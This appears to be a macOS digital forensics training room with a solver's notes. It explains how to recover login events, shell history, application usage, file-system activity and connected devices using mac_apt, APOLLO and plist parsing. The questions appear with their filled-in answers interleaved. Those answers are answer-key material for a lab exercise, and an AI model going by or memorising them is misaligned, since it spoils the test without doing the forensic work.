2025-01-21 08:16:57,571341000,14919,2,Umairs-MacBook-Pro,login,com.apple.system.lastlog,Notice,771,0,20,,0,USER_PROCESS: 771 ttys000,,"{'ut_user': 'umair', 'ut_id': 's000', 'ut_line': 'ttys000', 'ut_pid': '771', 'ut_type': '7', 'ut_tv.tv_sec': '1737447417', 'ut_tv.tv_usec': '571297', 'SenderMachUUID': 'AA6FB408-35FB-314B-A0A6-E87CE002C71E', 'ASLExpireTime': '1769069817'}",/private/var/log/asl/BB.2026.01.31.G80.asl
2025-01-21 10:36:38,707688000,14981,2,Umairs-MacBook-Pro,loginwindow,com.apple.system.lastlog,Notice,381,0,0,,0,USER_PROCESS: 381 console,,"{'ut_user': 'umair', 'ut_id': '0x2f 0x00 0x01 0x01', 'ut_line': 'console', 'ut_pid': '381', 'ut_type': '7', 'ut_tv.tv_sec': '1737455798', 'ut_tv.tv_usec': '707518', 'SenderMachUUID': 'B28C2613-1ADF-32F1-BD34-FED0143CF748', 'ASLExpireTime': '1769078198'}",/private/var/log/asl/BB.2026.01.31.G80.asl

The above command shows us using grep on a file named asl_ver2.csv, which has been converted to CSV from ASL using mac_apt. We can see here that ASL contains a lot more information about login/logout events, especially the username.

Screen lock/unlock

In Unified logs, we can search for com.apple.sessionagent.screenIsLocked and com.apple.sessionagent.screenisUnlocked to find screen lock and unlock events respectively.

Screen Lock events

umair@Umairs-MacBook-Pro ~ % grep com.apple.sessionagent.screenIsLocked output.csv       
2025-03-09T19:51:43.417Z,Log,Default,com.apple.loginwindow.logging,219777,382,0,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,0,Standard,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,"-[SessionAgentNotificationCenter setNotifySharedSpace:key:toValue:] | setNotifySharedSpace: com.apple.sessionagent.screenIsLocked, to value:1 using token:114","%s | setNotifySharedSpace: %@, to value:%d using token:%d",AFB2C1E286E44A8A3BEE4AEA3DEC769,Dubai
2025-03-09T19:51:43.417Z,Log,Default,com.apple.loginwindow.logging,219777,382,0,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,0,Standard,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,"-[SessionAgentNotificationCenter sendBSDNotification:object:] | sendBSDNotification: com.apple.sessionagent.screenIsLocked, with object:503","%s | sendBSDNotification: %@, with object:%@",AFB2C1E286E44A8A3BEE4AEA3DEC769,Dubai
2025-03-09T19:51:48.081Z,Log,Default,com.apple.loginwindow.logging,3761,382,0,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,0,Standard,/System/Library/CoreServices/loginwindow.app/Contents/MacOS/loginwindow,73F34DCF6AB4348F85E49529092F776E,"-[SessionAgentNotificationCenter setNotifySharedSpace:key:toValue:] | setNotifySharedSpace: com.apple.sessionagent.screenIsLocked, to value:0 using token:114","%s | setNotifySharedSpace: %@, to value:%d using token:%d",AFB2C1E286E44A8A3BEE4AEA3DEC769,Dubai

The above terminal window shows screen lock events extracted from Unified logs after they were converted to CSV using mac_apt or Unified Logs Parser.

Answer the questions below

What is the name of the last logged in user? thm

cat ~/output_csv/Basic_Info.csv
INFO_TYPE,Name,Data,Description,Source
SYSTEM,macOS Version,15.1.1,Sequoia,/System/Library/CoreServices/SystemVersion.plist
SYSTEM,macOS Build Version,24B91,Sequoia,/System/Library/CoreServices/SystemVersion.plist
HARDWARE,Mac Serial Number,ZDVVLVPV3F,Hardware Serial Number,/private/var/folders/zz/zyxvpxvq6csfxvn_n00000sm00006d/C/locationd/consolidated.db
HARDWARE,Model,"VirtualMac2,1",Mac Hardware Model,/Library/Preferences/SystemConfiguration/preferences.plist
SYSTEM,ComputerName,thm’s Virtual Machine,,/Library/Preferences/SystemConfiguration/preferences.plist
SYSTEM,LocalHostName,thms-Virtual-Machine,,/Library/Preferences/SystemConfiguration/preferences.plist
PREFERENCES,Country,AE,,/Library/Preferences/.GlobalPreferences.plist
PREFERENCES,AppleLocale,en_AE,,/Library/Preferences/.GlobalPreferences.plist
TIMEZONE,TimeZone Set,US/Pacific,Timezone on machine,/private/etc/localtime
USER-LOGIN,GuestEnabled,False,,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastUserName,thm,,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.MaximumUsers,1,Maximum number of Fast User Switching (FUS) users at the same time,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.FirstLogins,thm,Logged in user once,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,AccountInfo.OnConsole,thm,Logged in user once by Fast User Switching (FUS),/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,UseVoiceOverLegacyMigrated,True,unknown,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastUser,Restart,Last user (Login) Action,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,RecentUsers,['thm'],unknown,/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN,lastLoginPanic,2025-01-19 15:52:43.598148,,/Library/Preferences/com.apple.loginwindow.plist
APFS,Information,,Data below represents a combined SYSTEM & DATA volume,
APFS,Block Size (bytes),4096,Container Block size,
APFS,Container Size,19.51 GB,Container size (SYSTEM + DATA),
APFS,Volume Name,"Macintosh HD,Data","Volume names (SYSTEM, DATA)",
APFS,Volume UUID,"3B2E79F0-E4D4-4017-8443-597659F89844,84E5F2BD-503F-4E3A-8105-EEBEBC1925B4","Volume Unique Identifiers (SYSTEM, DATA)",
APFS,Size Used,11.97 GB,Space allocated  (SYSTEM + DATA),
APFS,Total Files,257456,Total number of files (SYSTEM + DATA),
APFS,Total Folders,164194,Total number of directories/folders (SYSTEM + DATA),
APFS,Total Symlinks,24049,Total number of symbolic links (SYSTEM + DATA),
APFS,Total Snapshots,0,Total number of snapshots (DATA),
APFS,Created Time,2024-12-08 17:23:31.355434,Created date and time (DATA),
APFS,Updated Time,2025-01-20 08:37:49.667839,Last updated date and time (DATA),

What is the password hint for the user? count to 5

When was the last time a user logged out of the machine? Format MMM DD hh:mm:ss Jan 19 07:52:43

Evidence of Execution

Evidence of execution is an important type of forensic data that we need in most investigations. In this task, we will review some of the important evidence of execution artefacts found in a machine.

Terminal History

macOS saves a history of commands run in the terminal for every user. These commands are saved in order of execution, and up to 1000 commands are saved. This history is saved in the /Users//.zsh_history file. Zsh is the default terminal in macOS systems right now, so we will use that in our examples, but if any other terminal is installed, we might see the history file names according to that terminal, such as bash_history for bash.

Zsh History

umair@Umairs-MacBook-Pro ~ % tail .zsh_history 
cat /private/var/db/BootCache.data
sudo cat /private/var/db/BootCache.data
sudo cat /private/var/db/BootCache.data
sudo plutil -p /private/var/db/BootCache.data
ls /private/var/db/BootCaches/clear
clear
cat /Library/Preferences/com.apple.systemprefs.plist
plutil -p /Library/Preferences/com.apple.systemprefs.plist
clear
sudo grep -r "IOPlatformSerialNumber" /

The /Users//.zsh_sessions/. The history file contains the history for each terminal session and is saved with the name of the terminal session GUID.

Zsh Session History

umair@Umairs-MacBook-Pro ~ % tail .zsh_sessions/BBD4B4C0-FA0A-4AA8-8823-F3865815ADD8.history
cat /private/var/db/BootCache.data
sudo cat /private/var/db/BootCache.data
sudo cat /private/var/db/BootCache.data
sudo plutil -p /private/var/db/BootCache.data
ls /private/var/db/BootCaches/clear
clear
cat /Library/Preferences/com.apple.systemprefs.plist
plutil -p /Library/Preferences/com.apple.systemprefs.plist
clear
sudo grep -r "IOPlatformSerialNumber" /

Please note that these files have a zsh prefix because macOS uses the zsh terminal by default. If the bash terminal is used, the files will be prefixed with bash (e.g. bash_history).

The history files are different for each user. So, when collecting or analysing data, we must include data from each user's home directory.

History Command

umair@Umairs-MacBook-Pro ~ % history
 1066  python3 apollo.py extract -ocsv -vyolo modules tmp_apollo
 1067  head apollo.
 1068  head apollo.csv
 1069  cat apollo.csv|wc -l
 1070  clear
 1071  history
 1072  vim apollo.csv
 1073  python3 apollo.py extract -osql -vyolo modules tmp_apollo
 1074  cd 
 1075  clear

It might be noted that on a live system, the history for the current session is not yet written in the shell history files. These files are updated when the user logs out, and session files are updated when the session is terminated. We can use the history command to check the history before logging out.

Application Usage

The knowledgeC.db is a database that tracks application usage, including the start and end times of the application. This database is located at /Users//Library/Application\ Support/Knowledge/knowledgeC.db for the user and at /private/var/db/CoreDuet/Knowledge/knowledgeC.db for the system. On a live system, the later database is not easily accessible and is restricted.

We can use the SQL queries available in the modules of the APOLLO utility to get the required information. In the screenshot below, we see the query from the module knowledge_app_usage, after loading the user knowledgeC database in the DB Browser tool. This module parses the /app/usage stream of the knowledgeC.db.

Knowledge_app_usage Module in APOLLO

umair@Umairs-MacBook-Pro modules % cat knowledge_app_usage.txt 
# --------------------------------------------------------------------------------
#       Copyright (c) 2018-2020 Sarah Edwards (Station X Labs, LLC, 
#       @iamevltwin, mac4n6.com). All rights reserved.

.
.
.
.

#       You should have received a copy of the GNU General Public License
#       along with APOLLO.  If not, see .
# --------------------------------------------------------------------------------


[Module Metadata]
AUTHOR=Sarah Edwards/mac4n6.com/@iamevltwin
MODULE_NOTES=Application Usage

[Database Metadata]
DATABASE=knowledgeC.db
PLATFORM=IOS,MACOS
VERSIONS=12,13,10.14,10.15,10.16,14

[Query Metadata]
QUERY_NAME=knowledge_app_usage
ACTIVITY=Application Usage
KEY_TIMESTAMP=START

[SQL Query 12,13,10.14,10.15,10.16,14]
QUERY=
   SELECT
      DATETIME(ZOBJECT.ZSTARTDATE+978307200,'UNIXEPOCH') AS "START", 
      DATETIME(ZOBJECT.ZENDDATE+978307200,'UNIXEPOCH') AS "END",
      ZOBJECT.ZVALUESTRING AS "BUNDLE ID", 
      (ZOBJECT.ZENDDATE - ZOBJECT.ZSTARTDATE) AS "USAGE IN SECONDS",
      (ZOBJECT.ZENDDATE - ZOBJECT.ZSTARTDATE)/60.00 AS "USAGE IN MINUTES",  
      ZSOURCE.ZDEVICEID AS "DEVICE ID (HARDWARE UUID)", 
     ZCUSTOMMETADATA.ZNAME AS "NAME",
     ZCUSTOMMETADATA.ZDOUBLEVALUE AS "VALUE",
      CASE ZOBJECT.ZSTARTDAYOFWEEK 
         WHEN "1" THEN "Sunday"
         WHEN "2" THEN "Monday"
         WHEN "3" THEN "Tuesday"
         WHEN "4" THEN "Wednesday"
         WHEN "5" THEN "Thursday"
         WHEN "6" THEN "Friday"
         WHEN "7" THEN "Saturday"
      END "DAY OF WEEK",
      ZOBJECT.ZSECONDSFROMGMT/3600 AS "GMT OFFSET",
      DATETIME(ZOBJECT.ZCREATIONDATE+978307200,'UNIXEPOCH') AS "ENTRY CREATION", 
      ZOBJECT.ZUUID AS "UUID",
      ZSTRUCTUREDMETADATA.ZMETADATAHASH,
      ZOBJECT.Z_PK AS "ZOBJECT TABLE ID" 
   FROM ZOBJECT
         LEFT JOIN
         ZSTRUCTUREDMETADATA 
         ON ZOBJECT.ZSTRUCTUREDMETADATA = ZSTRUCTUREDMETADATA.Z_PK 
      LEFT JOIN
         ZSOURCE 
         ON ZOBJECT.ZSOURCE = ZSOURCE.Z_PK 
       LEFT JOIN Z_4EVENT
      ON ZOBJECT.Z_PK = Z_4EVENT.Z_11EVENT
    LEFT JOIN ZCUSTOMMETADATA
      ON Z_4EVENT.Z_4CUSTOMMETADATA = ZCUSTOMMETADATA.Z_PK
   WHERE
      ZSTREAMNAME = "/app/usage"

We can either execute APOLLO to parse the information, or we can go to the relevant file in the modules, copy the query from the appropriate module, and execute the SQL query in the Execute SQL tab in DB Browser, the latter providing us with a more detailed result for specific artefacts. In the above terminal, we can see the query mentioned at the end of the module. We can copy this query and execute it in the Execute SQL tab of DB Browser after loading the knowledgeC database to get our desired results. The following screenshot shows the results of executing the SQL query from the module knowledge_app_usage.

At the top, we can see the UTM application was used for 164 seconds. We can also see the start and end dates and times. Similarly, we can use the knowledge_app_intents module to parse the /app/intents stream, which tracks activity inside the applications, such as sending messages for WhatsApp.

Another source of application usage data is present in the CurrentPowerlog database in the location /private/var/db/powerlog/Library/BatteryLife/CurrentPowerlog.PLSQL. This database includes similar data to the knowledgeC database.

In the attached VM, APOLLO is present in the location /home/ubuntu/APOLLO.

Answer the questions below

What was the last command executed by the user on the machine? vim creds.txt

# Check what files were created
ls ~/output_termsessions/

# Look at the CSV file
cat ~/output_termsessions/*.csv

# Check if history files were exported
ls ~/output_termsessions/Export/
find ~/output_termsessions/Export -name "*history*"
APFS_Volumes_75799CC4-35C7-4CB5-AC2D-2DC335B7B3EF.db  Log.20260219-181419.txt
Disk_Info.csv                                         TermSessions.csv
Export                                                mac_apt.db
Type,Scheme_or_FS-Type,Name,Offset,Size,Size_in_bytes,Size_Used,macOS_Installed
Disk,,,0,25.00 GB,26843545600,,
Partition,Unknown,iBootSystemContainer,20480,500.00 MB,524288000,,
Partition,APFS,Macintosh HD,524308480,19.51 GB,20950548480,10.00 GB,*
Partition,APFS,Preboot,524308480,19.51 GB,20950548480,5.39 GB,
Partition,APFS,Recovery,524308480,19.51 GB,20950548480,892.06 MB,
Partition,APFS,Update,524308480,19.51 GB,20950548480,224.00 KB,
Partition,APFS,Data,524308480,19.51 GB,20950548480,1.97 GB,*
Partition,APFS,VM,524308480,19.51 GB,20950548480,20.00 KB,
Partition,Unknown,RecoveryOSContainer,21474856960,5.00 GB,5368668160,,
Source_Type,Session_Start,Session_End,Session_Commands,All_Commands,User,Session_UUID,Source
ZSH_SESSION,,2025-01-19 15:51:36.949002,,,thm,B86BAAFB-A4C1-430B-B0C0-68628587413B,/Users/thm/.zsh_sessions/B86BAAFB-A4C1-430B-B0C0-68628587413B.history
ZSH_SESSION,,2025-01-19 15:52:30.838519,"vim creds.txt
","vim creds.txt
",thm,452AEA93-AEE7-420B-871E-C57053E15DD0,/Users/thm/.zsh_sessions/452AEA93-AEE7-420B-871E-C57053E15DD0.history
ZSH_HISTORY,,,,"vim creds.txt
",thm,,/Users/thm/.zsh_history
Exported_Files_Log.db  TERMSESSIONS  USERS
/home/ubuntu/output_termsessions/Export/TERMSESSIONS/thm_B86BAAFB-A4C1-430B-B0C0-68628587413B.history
/home/ubuntu/output_termsessions/Export/TERMSESSIONS/thm_.zsh_history
/home/ubuntu/output_termsessions/Export/TERMSESSIONS/thm_452AEA93-AEE7-420B-871E-C57053E15DD0.history

What is the GUID of the terminal session in which this command was executed? 452AEA93-AEE7-420B-871E-C57053E15DD0

When was the last time the user closed the terminal? Format YYYY-MM-DD hh:mm:ss 2025-01-19 15:52:33

For how many seconds was the terminal in focus during this session? 176

This comes from the knowledgeC.db which tracks how long applications are "in focus" (active window). The ~56 seconds we calculated was just the duration of that specific terminal session, but:

Terminal.app could have been open longer

Could have had multiple windows

The knowledgeC.db tracks the total time Terminal had focus

176 seconds = 2 minutes and 56 seconds of Terminal.app being the active window.

This is tracked in the /app/usage stream of knowledgeC.db which records:

Bundle ID (com.apple.Terminal)

Start time

End time

Usage duration in seconds

The walkthrough mentioned this exact scenario - the UTM application had 164 seconds of usage, and Terminal.app had 176 seconds.

File System Activity

One important part of any forensic investigation is finding evidence of file/folder access, opening, modification, or sharing. macOS logs events related to such activity in several different places. In this task, let's review these artefacts.

File System Events Store DB

File System Events Store DB or fseventsd is a database that is present in every volume connected to a macOS device. This is a directory that contains multiple files and is similar to the USN Journal in NTFS, keeping records of all the file system changes. It contains events such as file/folder creation, deletion, rename, and volumes being mounted or unmounted. In earlier versions, this directory used to be in the root directory (/.fseventsd). However, sometimes, this directory is now present in the location /System/Volumes/Data/.fseventsd. The leading dot indicates that it is a hidden directory. We can use mac_apt to parse the files in this directory into a CSV or DB format using the command python3 mac_apt.py -o . -c DMG ~/mac-disk.img FSEVENTS. The following terminal shows the same artefacts being extracted from a live system.

FsEvents Parsed Using mac_apt

umair@Umairs-MacBook-Pro % sudo python3 mac_apt.py -o . -c MOUNTED / FSEVENTS
Password:
Output path was : /Users/umair/mac_apt
.
.
.
MAIN-INFO-Finished in time = 00:02:11
MAIN-INFO-Review the Log file and report any ERRORs or EXCEPTIONS to the developers
umair@Umairs-MacBook-Pro ~ % head FsEvents.csv 
LogID,EventFlagsHex,EventType,EventFlags,Filepath,File_ID,Log_Unknown,SourceModDate,Source
000000002DA73F9E,01000000,Folder,,.fseventsd/sl-compat,,,2025-02-12 18:06:35,/System/Volumes/Data/.fseventsd/000000002da73f48
000000002DA73F9F,21000000,Folder,EndOfTransaction,,,,2025-02-12 18:06:35,/System/Volumes/Data/.fseventsd/000000002da73f48
000000002D855D03,00800014,File,InodeMetaMod|Modified,Users/umair/Library/Application Support/AddressBook/Sources/023F5274-E570-42C8-9FDE-D5BCE180B576/Metadata/.info,39714076,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D855CFD,00800014,File,InodeMetaMod|Modified,Users/umair/Library/Application Support/AddressBook/Sources/023F5274-E570-42C8-9FDE-D5BCE180B576/SyncAnchor,381360,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D8543CD,00800013,File,Created|Removed|Modified,Users/umair/Library/Application Support/AddressBook/Sources/023F5274-E570-42C8-9FDE-D5BCE180B576/SyncOperations.plist,39716988,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D8544A5,00800014,File,InodeMetaMod|Modified,Users/umair/Library/Application Support/AddressBook/Sources/0DE50723-CF55-4001-84F4-65005DE0AA94/AddressBook-v22.abcddb-shm,1969067,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D8543EE,00800013,File,Created|Removed|Modified,Users/umair/Library/Application Support/AddressBook/Sources/0DE50723-CF55-4001-84F4-65005DE0AA94/SyncOperations.plist,39716992,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D8571C3,00800014,File,InodeMetaMod|Modified,Users/umair/Library/Application Support/AddressBook/Sources/6BDA2C03-3C1C-42A6-8624-8024B932E3DB/Metadata/.info,39714077,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da
000000002D8560B7,00800014,File,InodeMetaMod|Modified,Users/umair/Library/Application Support/AddressBook/Sources/6BDA2C03-3C1C-42A6-8624-8024B932E3DB/SyncAnchor,17141543,0,2025-02-12 10:48:20,/System/Volumes/Data/.fseventsd/000000002d8585da

Please note that the output can be enormous due to the amount of information it contains.

DS Store

In a macOS device, hidden .DS_Store files can be found in every directory that is opened using the Finder app. It is created when the Finder is used to access the folder. This means any folder accessed using the Finder should have an entry in this file. Hence, this file can act as evidence of access to a folder using the Finder. Detailed information on the DS Store files can be found in this wiki. We can use the DS Store parser utility to parse DS store files.

Information From the DS Store

umair@Umairs-MacBook-Pro DS_Store-parser % python3 parse.py ../.DS_Store 
Applications
	Icon location: x 775px, y 77px, 0xffffffffffff0000
	Logical size: 530264B
	Modification date (timestamp, format unknown: 4739609139890696511
	Modification date, alternative (timestamp, format unknown): 4739609139890696511
	Physical size: 536576B
Desktop
	Icon location: x 115px, y 77px, 0xffffffffffff0000
	Layout property list:
		ShowStatusBar: False
		ShowToolbar: True
		ShowTabView: False
		ContainerShowSidebar: True
		WindowBounds: {{222, 94}, {1290, 850}}
		ShowSidebar: True
	Icon view property list:
		backgroundColorBlue: 1.0
		iconSize: 64.0
		textSize: 12.0
		backgroundColorRed: 1.0
		backgroundType: 0
		backgroundColorGreen: 1.0
		gridOffsetX: 0.0
		gridOffsetY: 0.0
		scrollPositionY: 0.0
		showItemInfo: False
		viewOptionsVersion: 1
		scrollPositionX: 0.0
		labelOnBottom: True
		arrangeBy: none
		showIconPreview: True
		gridSpacing: 54.0
	Logical size: 312505328B
	Modification date (timestamp, format unknown: 4739666058071822613
	Modification date, alternative (timestamp, format unknown): 4739666058071822613
	Physical size: 312623104B
	vSrn (unknown): 1
	View style: Icon view
mac_apt
	Icon location: x 285px, y 494px, 0xffffffffffff0000
	fdsc (unrecognized): False
macos-UnifiedLogs
	fdsc (unrecognized): False
velociraptor-docker
	Icon location: x 665px, y 189px, 0xffffffffffff0000
	Open in list view: False
	Logical size: 466275650B
	Modification date (timestamp, format unknown: 4739601447313639217
	Modification date, alternative (timestamp, format unknown): 4739601447313639217
	Physical size: 466563072B
Virtual Machines.localized
	Icon location: x 115px, y 301px, 0xffffffffffff0000
	Layout property list:
		ShowStatusBar: False
		ShowToolbar: True
		ShowTabView: False
		ContainerShowSidebar: True
		WindowBounds: {{35, 94}, {1443, 850}}
		ShowSidebar: True
	Open in list view: True
	Logical size: 6780B
	Modification date (timestamp, format unknown: 4739619739493982596
	Modification date, alternative (timestamp, format unknown): 4739619739493982596
	Physical size: 40960B
	vSrn (unknown): 1

We can see different types of information for different items in the DS Store file. However, the primary forensic value remains that this folder was accessed using Finder. Any other information can be considered as a bonus.

In the attached VM, the DS Store Parser is present at the location /home/ubuntu/DS_Store-parser. DS Store Parser needs to be run from the directory it is present in, and we need to provide the absolute path of the DS Store file to execute without errors.

Most Recently Used

We can find the most recently used folders in the plist file at /Users//Library/Preferences/com.apple.finder.plist. The information is in the FXRecentFolders key, with item 0 being the latest. The file-bookmark BLOB in this key contains the full folder path, volume name and volume GUID.

MRU Folders

umair@Umairs-MacBook-Pro Preferences % plutil -p com.apple.finder.plist 
{
  "ComputerViewSettings" => {
    "CustomViewStyleVersion" => 1
    "WindowState" => {
      "ContainerShowSidebar" => 1
      "ShowSidebar" => 1
      "ShowStatusBar" => 0
      "ShowTabView" => 0
      "ShowToolbar" => 1
      "WindowBounds" => "{{222, 94}, {1290, 850}}"
    }
.
.
.
  "FXRecentFolders" => [
    0 => {
      "file-bookmark" => {length = 948, bytes = 0x626f6f6b b4030000 00000410 30000000 ... 04000000 00000000 }
      "name" => "detections"
    }
    1 => {
      "file-bookmark" => {length = 904, bytes = 0x626f6f6b 88030000 00000410 30000000 ... 04000000 00000000 }
      "name" => "soc"
    }
    2 => {
      "file-bookmark" => {length = 840, bytes = 0x626f6f6b 48030000 00000410 30000000 ... 04000000 00000000 }
      "name" => "Downloads"
    }
    3 => {
      "file-bookmark" => {length = 844, bytes = 0x626f6f6b 4c030000 00000410 30000000 ... 04000000 00000000 }
      "name" => "tensorflow-metal"
    }
    4 => {
      "file-bookmark" => {length = 796, bytes = 0x626f6f6b 1c030000 00000410 30000000 ... 04000000 00000000 }
      "name" => "umair"
    }
  ]

For Microsoft applications, we can find a similar list in the location /Users//Library/Containers/com.microsoft./Data/Library/Preferences/com.microsoft..securebookmarks.plist. The below terminal window shows the data for Microsoft Excel.

Microsoft Excel MRU

umair@Umairs-MacBook-Pro Preferences % plutil -p com.microsoft.Excel.securebookmarks.plist 
{
  "file:///Users/umair/APOLLO/apollo.csv" => {
    "kBookmarkDataKey" => {length = 696, bytes = 0x626f6f6b b8020000 00000410 30000000 ... 04000000 00000000 }
    "kLastUsedDateKey" => 2025-02-22 15:19:49 +0000
    "kUUIDKey" => "66DDA458-FE03-4C06-B71E-213742CCA596"
  }
  "file:///Users/umair/Downloads/Asset_Inventory.xlsx" => {
    "kBookmarkDataKey" => {length = 708, bytes = 0x626f6f6b c4020000 00000410 30000000 ... 04000000 00000000 }
    "kLastUsedDateKey" => 2024-12-01 11:16:29 +0000
    "kUUIDKey" => "29E5EE07-6CBB-4016-9C1B-21F82651F342"
  }
}

Here, the kBookmarkDataKey is similar to the file-bookmark key in the previous plist file, which contains a BLOB of data related to the full folder path, volume GUID, and volume name. We can use a hex editor to extract this information.

Answer the questions below

What are the viewing options for the Users/thm folder? Open in list view

# Search for the finder plist
find ~/output_users -name "com.apple.finder.plist"

# Or check if it's in the APFS database
python3 << 'EOF'
import sqlite3

conn = sqlite3.connect('/home/ubuntu/output_users/APFS_Volumes_75799CC4-35C7-4CB5-AC2D-2DC335B7B3EF.db')
cursor = conn.cursor()

cursor.execute("""
    SELECT p.Path
    FROM Vol_5_Data_Paths p
    WHERE p.Path LIKE '%com.apple.finder.plist'
    AND p.Path LIKE '%/Users/thm/%'
""")

for row in cursor.fetchall():
    print(row[0])

conn.close()
EOF

What is the last directory visited by the user using the Finder application? Recents

# Use plutil to parse the plist (but it's binary, so we need to convert or use a parser)
file ~/output_recentitems/Export/RECENTITEMS/thm_com.apple.finder.plist

# Try to read it with plutil (if available)
plutil -p ~/output_recentitems/Export/RECENTITEMS/thm_com.apple.finder.plist 2>/dev/null | grep -A 20 "FXRecentFolders" 

# Or use Python to parse it
python3 << 'EOF'
import plistlib

with open('/home/ubuntu/output_recentitems/Export/RECENTITEMS/thm_com.apple.finder.plist', 'rb') as f:
    plist = plistlib.load(f)
    
if 'FXRecentFolders' in plist:
    recent = plist['FXRecentFolders']
    print(f"Found {len(recent)} recent folders")
    print("\nMost recent folder (index 0):")
    if recent:
        print(f"  Name: {recent[0].get('name', 'N/A')}")
        # The file-bookmark contains the path info
        print(f"\nAll recent folders:")
        for i, item in enumerate(recent):
            print(f"  [{i}] {item.get('name', 'N/A')}")
else:
    print("FXRecentFolders key not found")
    print("\nAvailable keys:")
    for key in plist.keys():
        print(f"  {key}")
EOF
/home/ubuntu/output_recentitems/Export/RECENTITEMS/thm_com.apple.finder.plist: Apple binary property list
Found 1 recent folders

Most recent folder (index 0):
  Name: Recents

All recent folders:
  [0] Recents

Connected Devices

An important part of forensics is determining whether any external drives were connected to the system. Let's examine the possible artefacts that might help us determine this information.

Mounted Volumes

macOS stores a list of drives mounted on the system in the location /Users//Library/Preferences/com.apple.finder.plist. In this plist file, we can find USB drives and mounted images such as DMG or IMG files. This information can be found in the FXDesktopVolumesPositions key.

Mounted Volumes

umair@Umairs-MacBook-Pro ~ % plutil -p com.apple.finder.plist 
{
  "ComputerViewSettings" => {
    "CustomViewStyleVersion" => 1
    "WindowState" => {
      "ContainerShowSidebar" => 1
      "ShowSidebar" => 1
      "ShowStatusBar" => 0
      "ShowTabView" => 0
      "ShowToolbar" => 1
      "WindowBounds" => "{{51, 88}, {1290, 850}}"
    }
  }
.
.
.
 "FontSizeCategory" => "DEFAULT"
  "FXArrangeGroupViewBy" => "Name"
  "FXDesktopTouchBarUpgradedToTenTwelveOne" => 1
  "FXDesktopVolumePositions" => {
  "Lenovo PS8_-0x1.d27e44p+29" => {
      "AnchorRelativeTo" => 0
      "ScreenID" => 0
      "xRelative" => 325
      "yRelative" => 147
    }
    "Microsoft NTFS by Tuxera 2023.1_0x1.044f569p+28" => {
      "AnchorRelativeTo" => 2
      "ScreenID" => 0
      "xRelative" => -309
      "yRelative" => -344
    }
    "Microsoft NTFS by Tuxera 2024-RC_0x1.044f569p+28" => {
      "AnchorRelativeTo" => 2
      "ScreenID" => 0
      "xRelative" => -309
      "yRelative" => -232
    }
    "New Volume_0x1.2be84dfdd01dfp+29" => {
      "AnchorRelativeTo" => 1
      "ScreenID" => 0
      "xRelative" => -309
      "yRelative" => 302
    }
    "New Volume_0x1.226e8bb7e3675p+29" => {
      "AnchorRelativeTo" => 1
      "ScreenID" => 0
      "xRelative" => -309
      "yRelative" => 302
    }
    "nmap-7.95_0x1.5e8c7d98p+29" => {
      "AnchorRelativeTo" => 0
      "ScreenID" => 0
      "xRelative" => 203
      "yRelative" => -77
    }

We can see that Lenovo PS8 and New Volume were mounted on the system. However, we also see nmap-7.95 mounted, which can be a mounted DMG or IMG file.

Connected iDevices

Apple devices connected to the system can be found in the plist file /Users/. The information contains IMEI, device serial number, iOS version, and the number of times the device was connected.


Connected iDevices
umair@Umairs-MacBook-Pro ~ % plutil -p com.apple.iPod.plist 
{
  "com.apple.PreferenceSync.ExcludeAllSyncKeys" => 1
  "conn:128:Last Connect" => {length = 4, bytes = 0xe3f1f16e}
  "Devices" => {
    "000220C62650801E" => {
      "Build Version" => "22D72"
      "Connected" => 2025-03-08 09:06:54 +0000
      "Device Class" => "iPad"
      "Family ID" => 10129
      "Firmware Version" => 256
      "Firmware Version String" => "18.3.1"
      "ID" => "[Redacted]"
      "IMEI" => "[Redacted]"
      "Product Type" => "iPad13,10"
      "Region Info" => "LL/A"
      "Serial Number" => "[Redacted]"
      "Use Count" => 2
    }
    "000228813E12001C" => {
      "Build Version" => "21F90"
      "Connected" => 2024-07-26 15:45:44 +0000
      "Device Class" => "iPhone"
      "Family ID" => 10155
      "Firmware Version" => 256
      "Firmware Version String" => "17.5.1"
      "ID" => "[Redacted]"
      "IMEI" => "[Redacted]"
      "IMEI2" => "[Redacted]"
      "Product Type" => "iPhone16,2"
      "Region Info" => "AH/A"
      "Serial Number" => "[Redacted]"
      "Use Count" => 1
    }
  }
}

In the above terminal, we can see an iPad and an iPhone connected to the system, with the iPad connected twice and the iPhone connected once.
Bluetooth Connections
The knowledgeC database also contains information about historical Bluetooth device connections. This information is in the /Bluetooth/isConnected stream in the database. We can use APOLLO's knowledge_audio_bluetooth_connected module to extract this information or use the SQL query in DB Browser.


In the above screenshot, we can see the date and time of connections of different Bluetooth devices and their time of disconnection. We can also see the minutes each device was connected. The SQL query used here is from the APOLLO module discussed above.
Connected Printers
The /Users//Library/Preferences/org.cups.PrintingPrefs.plist file contains information about the printers installed and used on the system. It also informs us on whether the printer is a network printer.
Connected Printers
umair@Umairs-MacBook-Pro ~ % plutil -p org.cups.PrintingPrefs.plist 
{
  "com.apple.print.useGenericPrinterFeaturesDict" => {
    "HP_DeskJet_3700_series" => 0
  }
  "LastUsedPrinters" => [
    0 => {
      "Network" => "fe80::1"
      "PrinterID" => "HP_DeskJet_3700_series"
    }
    1 => {
      "Network" => "fe80::1000"
      "PrinterID" => "HP_DeskJet_3700_series"
    }
